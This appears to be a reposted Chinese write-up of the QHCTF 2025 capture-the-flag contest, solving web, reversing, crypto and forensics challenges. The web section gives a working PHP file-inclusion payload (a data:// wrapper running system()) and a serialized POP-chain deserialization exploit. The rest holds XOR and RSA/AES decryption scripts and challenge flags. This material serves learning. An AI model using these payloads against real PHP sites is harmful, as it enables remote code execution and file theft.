cyi启航杯wp

news/2025/3/11 8:57:21/文章来源:https://www.cnblogs.com/xhzccy/p/18691285

web

Easy_include

我用data伪协议

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

然后看源代码就有了


QHCTF{008110b0-0ea4-4ff3-b02e-bd9e74f1be44}


Web_IP

flag.php有

Your IP is : xxx....

原本以为X-Forwarded-For就行,后面发现X-Forwarded-For输入什么都会回显原内容

ssti探测发现。。。


QHCTF{7681991d-96c0-4850-a5ad-0b92ddd227fe}


Web_pop

如题

<?php
highlight_file(__FILE__);
class Start{public $name;//protected $func;public $func;public function __destruct(){echo "Welcome to QHCTF 2025, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{// private $obj;// private $var;public $obj;public $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}$a = new Start();
$b = new Sec();
$a->name = $b;
$c = new Easy();
$d = new eeee();
$b->obj = $c;
$b->var = $d;
$c->cla = $d;
$e = new Start();
$d-> obj = $e;
$f = new Sec();
$e->func = $f;
echo serialize($a);
pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:7:"%00*%00func";O:3:"Sec":2:{s:8:"%00Sec%00obj";N;s:8:"%00Sec%00var";N;}}}}s:3:"var";r:4;}s:4:"func";N;}

QHCTF{91d8bcbd-5484-4272-a1d3-694794b4d6f6}



re

Checker

跟进chenk flag,encrypt flag函数,得到加密逻辑,只是异或了个0x23,重新异或一下就行

拿出加密数据

hex = [0x72, 0x6B, 0x60, 0x77, 0x65, 0x58, 0x46, 0x46,0x15, 0x40, 0x14, 0x41, 0x1A, 0x40, 0x0E, 0x46,0x14, 0x45, 0x16, 0x0E, 0x17, 0x45, 0x42, 0x41,0x0E, 0x1A, 0x41, 0x47, 0x45, 0x0E, 0x46, 0x42,0x13, 0x14, 0x46, 0x13, 0x10, 0x17, 0x45, 0x15,0x42, 0x16, 0x5E
]flag = []
for i in hex:flag.append(i^0x23)
print(bytes(flag))
#b'QHCTF{ee6c7b9c-e7f5-4fab-9bdf-ea07e034f6a5}'

rainbow

有个hideflag函数,进去发现够用了

有个output.txt文件

Encrypted Flag: 0B12190E1C213B6268686C6B6A69776F3B633B776E3C3B6D773B38393C773E3F3B6E69623B6D393F6D6227

又是简单的异或,xor_encrypt函数里面是a1^a2,等于我们自己异或90就行

hex = [0x0B, 0x12, 0x19, 0x0E, 0x1C, 0x21, 0x3B, 0x62, 0x68, 0x68, 0x6C, 0x6B, 0x6A, 0x69, 0x77, 0x6F, 0x3B, 0x63, 0x3B,0x77, 0x6E, 0x3C, 0x3B, 0x6D, 0x77, 0x3B, 0x38, 0x39, 0x3C, 0x77, 0x3E, 0x3F, 0x3B, 0x6E, 0x69, 0x62, 0x3B, 0x6D,0x39, 0x3F, 0x6D, 0x62, 0x27
]flag = []
for i in hex:flag.append(i^90)
print(bytes(flag))
#b'QHCTF{a8226103-5a9a-4fa7-abcf-dea438a7ce78}'

小明的note

upx脱个壳先

密文


加密逻辑在decrypt flag函数中,循环异或秘钥,以及其现长度

hex = [0x12, 0x7D, 0xE1, 0x2C, 0x01, 0x4A, 0xC4, 0x45, 0x78, 0x5E, 0xC9, 0x46,0x78, 0x5D, 0x83, 0x0F, 0x37, 0x12, 0xD0, 0x45, 0x63, 0x42, 0xD5, 0x57,0x76, 0x14, 0xDE, 0x06, 0x6E, 0x04, 0x8F, 0x3E, 0x50, 0x21, 0xE1, 0x3B,0x53, 0x72, 0xB7, 0x6C, 0x5D, 0x79, 0xF7
]key = [0x42, 0x37, 0xA1, 0x7C]flag = []
for i in range(len(hex)):tmp = hex[i] ^ key[i % 4]tmp ^= (i + 1)flag.append(tmp)print(bytes(flag))
b'QHCTF{b13cc67d-cd7b-4cc3-9df1-1b34cc4c186d}'


crypto

Easy_RSA

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64# 提供的私钥和加密消息
private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQCk9qroUGqV/4glx5oHbMkAZFrGAQF+kclLnbqHcHAXz5ElOwaI\n9KdHjMU2DhAgOgvS/Hpc5Qv6wcpB+J1z6x/epTWOcpTAjk0GZGbhyKEnuMhgwATu\neks8uO8J6VNNTXc9MIp9agGHVL5AzOewEiihWDBJ1oiUl01Ju4LwhtY5mQIDAQAB\nAoGAGKmgJ5dOOBq5+hv7VTzYWCyovY2M8aVOGPX92x3eRFEN/Cj08yjQkYvkOA6m\nLos/FU4V5SmBPv4WBQLsV1ZBr0RFYBVWCB0m2DRZyj085vRAChFm2OA6DbSVAe6v\nJgOschwpIMUiAYUgm4kVFSqXy/egJYOIbCUBgvFBJmXbITkCQQDNKTK0x076yhzY\nQIuZm4E52CXo8ma4xESW82FBOgk+jKCXts/cKdJHg56wW1+3W5zxShrNYzXMKi9E\niQUotBk3AkEAzdd3axQ2SZjS/nwtWGDvkj87YJXJ/OriOJdQj9LpX5ZG4cuolT4c\nb5IXfFD/UJX6OipY8/vwp1neWdCy58lrrwJACxaM7QRQmnFN+coTQWwMIeoyslJX\nhujkpBvnR7UxRrYm/8wbk9SWztKoQvPNSoWjB89vf2Y7RBuLjnKxWq/RJQJATYQe\nzIxIBV8v1fYdfXLDxWdajPzbnAs4NeeFxyO+DukguFdhnRJO0xVJEt/NxiM0oELi\nTL9L2TnWqiwVs4P+sQJBAL4pbxfDpLORtIug5nK4XovI5xpLNu1xCJeBE3ZImHTH\n7Hgd6v1Y4DenDddRCq1yQWHIlVFeM94RCwKDtLhuj9s=\n-----END RSA PRIVATE KEY-----'
enmessage = "ceabOhrOBcDv3Cor/SPOK2W5veeSEDCcm3ZcAkyhwpe2xUEoIek0LImSWSarM8ABcavdoOjlZW6kw1S8mjf1TjCmhrZ0b+RbWQTfFAE4UEilE3TBhprpLR3rLP2UlLMNvC7Rrscl3tXxgzXjRd5IJRZbmkk2GLqA/Zx6pZ/cnPM="def decrypt_message(encrypted_message, private_key):# 导入私钥key = RSA.import_key(private_key)# 创建解密器cipher = PKCS1_OAEP.new(key)# Base64解码加密消息encrypted_bytes = base64.b64decode(encrypted_message)# 解密消息decrypted_message = cipher.decrypt(encrypted_bytes)return decrypted_message.decode()# 解密消息
decrypted = decrypt_message(enmessage, private_key)
print(decrypted)
#QHCTF{a2a33351-720d-4fe1-bafd-3aa2f0863a58}


misc

PvzHE

images目录下

QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5}



forensics

天天蓝屏,佛了,还有两个题死活不对,懵逼ing

仿真可看https://www.cnblogs.com/xhzccy/p/18354852

ftk以writable形式挂载.E01

以管理员形式打开vm --》新建虚拟机 --》自定义 --》--》稍后安装 --》win10(或其他) --》选择安装位置 --》BIOS--》自己分配处理器和内存 --》默认(nat) --》默认(推荐)--》SATA --》使用物理磁盘 --》设备选择刚刚挂载的PhysicalDrive2(最后的数字可能不一样) --》下一步下一步


Win_02

admin是123456进去的,直接试HackY$_123456,对了。。

QHCTF{fb484ad326c0f3a4970d1352bfbafef8}


Win_04

regedit就有了


QHCTF{c980ad20-f4e4-4e72-81a0-f227f6345f01}


Win_07

flag文件,有注释Please look for the password in the environment variables.

密码在注册表中Th3_1s_F1ag.Z1p_P@ssW0rd_Y0u_Now

UUhDVEZ7NjE0M2I0NmEtOGU5OC00MzU2LWE5YjItMjUxYTdlYzE5ZTUxfQ==

然后base64解码

QHCTF{6143b46a-8e98-4356-a9b2-251a7ec19e51}


不知道哪题

桌面的hacker.exe,pyinstxtractor解包出1.pyc

https://tool.lu/pyc/,pyc转py

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64# XOR 解密函数
def xor_decrypt(data, key):return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])# 解密函数
def decrypt_message(aes_key, encrypted_message):# 1. Base64 解码xor_encrypted = base64.b64decode(encrypted_message)# 2. XOR 解密xor_key = b'qihangcup'base64_encoded = xor_decrypt(xor_encrypted, xor_key)# 3. Base64 解码aes_encrypted = base64.b64decode(base64_encoded)# 4. AES 解密cipher = AES.new(aes_key, AES.MODE_ECB)decrypted_data = unpad(cipher.decrypt(aes_encrypted), AES.block_size)# 返回解密后的字符串return decrypted_data.decode('utf-8')# 主程序
if __name__ == '__main__':aes_key = b'acf8bafa15f8cb03'  # AES 密钥encrypted_message = 'HgIlNCQUF0MZRA0FMhwODBsTNjM4OQ8RMA81SCImFhQeVkQdCUJfMBs0Mx0fGVowIyoTJ0cdHCwKVwxIOQQCRA=='  # 加密后的消息# 解密decrypted_message = decrypt_message(aes_key, encrypted_message)print(decrypted_message)#QHCTF{8b0c14a8-5823-46fd-a547-0dcdc404a7ed}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/875729.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

desmos指北

官方网站 还在学\(OI\)的可以关闭了,给\(whk\)的同学看的 你可能需要了解一些\(LaTeX\),以及数学知识 下标_如\(a_1\),上标^,如\(a^b\) 功能举例具体教程(其实没啥用,官网给的很详细) 试用案例 ✍️ 用 Desmos 3D 制作正方体,相关命令记录; 法1:在输入栏依次手动输入,不…

从理论到实践:Scrum Master(CSM)课程助你成为敏捷引领者

Scrum Master(CSM)在敏捷开发的广阔天地里,Scrum作为最具影响力的框架之一,帮助团队提升协作效率和交付速度。而作为Scrum团队的核心人物,Scrum Master(CSM)无疑是敏捷成功的关键推动者。获得CSM认证,意味着不仅了解Scrum框架,更能有效领导团队走向更高效的工作方式。…

Chat2DB:一款开源的智能数据库查询工具

Chat2DB是一款AI first的数据管理、开发、分析工具,可以将自然语言转换为SQL,也可以将SQL转换为自然语言。 https://chat2db-ai.com/ 以下文章来源于小华同学ai ,作者小华 Chat2DB是一款开源的智能数据库查询工具,旨在帮助开发者更高效地与数据库进行交互。通过自然语言处理…

【Atcoder训练记录】AtCoder Beginner Contest 390

训练情况赛后反思 A题犯蠢冒泡排序写错,B题等比数列不能使用除法算公比,会有误差问题,成比例要用乘法比较 A题 我们观察到 12345 是有序的,所以我们对于给出的数列进行冒泡排序,次数为 1 次答案就为 YES 否则为 NO点击查看代码 #include <bits/stdc++.h> // #define…

【Linux文件】如何在 Linux 上查找占用空间较大的文件和文件夹【测试成功】

在日常使用 Linux 的过程中,我们常常需要清理磁盘空间。找出占用空间较大的文件和文件夹是一个重要的步骤。 本文将介绍几种方法来查找这些占用空间较大的文件和文件夹。 方法一:使用 du 和 sort 命令 这种方法结合了 du 和 sort 命令,可以快速找到当前目录及其子目录中占用…

RocketMQ原理—4.消息读写的性能优化

大纲 1.Producer基于队列的消息分发机制 2.Producer基于Hash的有序消息分发 3.Broker如何实现高并发消息数据写入 4.RocketMQ读写队列的运作原理分析 5.Consumer拉取消息的流程原理分析 6.ConsumeQueue的随机位置读取需求分析 7.ConsumeQueue的物理存储结构设计 8.ConsumeQueue…

【蓝桥训练记录】第 25 场 蓝桥月赛

训练情况赛后反思 几场比赛一起开导致不会做简单题了,CD感觉都不难 A题 蛇有十一画,直接输出 11点击查看代码 #include <iostream> using namespace std; int main() {cout<<11;return 0; }B题 我们发现无论是长宽除二,面积也会除二,但是这题除二的前提条件是为…

TensorFlow2入门与实践--CNN

使用TensorFlow高级API搭建卷积神经网络并进行图片分类实践。卷积神经网络CNN CNN原理 关于CNN的原理本文使用代码的方式来直观理解卷积中各个操作过程。 卷积 卷积层是CNN的核心组件,通过可学习的卷积核在输入特征图上进行滑动窗口操作。每个位置上,卷积核与输入进行逐元素乘…

【牛客训练记录】牛客周赛 Round 78

训练情况赛后反思 C题犯蠢,实则行操作会影响到其他列,所以只需要判断列相同的个数最大值就是答案,D题看错题的情况下A了 A题 第二场已经举行,第三场还没举行,\(\ge 3\) 答案是 NO,否则就是 YES点击查看代码 #include <bits/stdc++.h> // #define int long long #de…

01人工智能创新型教师培育计划(第一期)0125

人工智能创新型教师培育计划(第一期) 一、直播时间:1月25日——19:30--21:001月26日——19:30--21:00二、直播内容主题:大模型赋能,3小时入门Python。教师:谢作如(浙江省特级教师) 温州科技高级中学人工智能科创中心负责人,浙江省“万人计划”教学名师,特级教师…

如何移植ftp服务器到arm板子?

很多厂家提供的sdk,一般都不自带ftp服务器功能, 需要要发人员自己移植ftp服务器程序。 本文手把手教大家如何移植ftp server到arm板子。环境 sdk:复旦微 Buildroot 2018.02.31. 解压 $ mkdir ~/vsftpd $ cp vsftpd-3.0.2.tar.gz ~/vsftpd $ cd ~/vsftpd $ tar xzf vsftpd…

obs录制压缩体积和减少游戏性能开销

帧率降一点、编码器选硬件的、速率控制选好的、如果要调速度可以参考下面的NV官网推荐的截图视频录制编码器选硬件AV1(穷鬼用30系N卡没有AV1硬件编码器就退而求其次选了HEVC) 注:40系以上N卡、A系i卡、RDNA2以上A卡 应该都有AV1硬件编码器,名字都不一样。同时请记住AV1之间亦…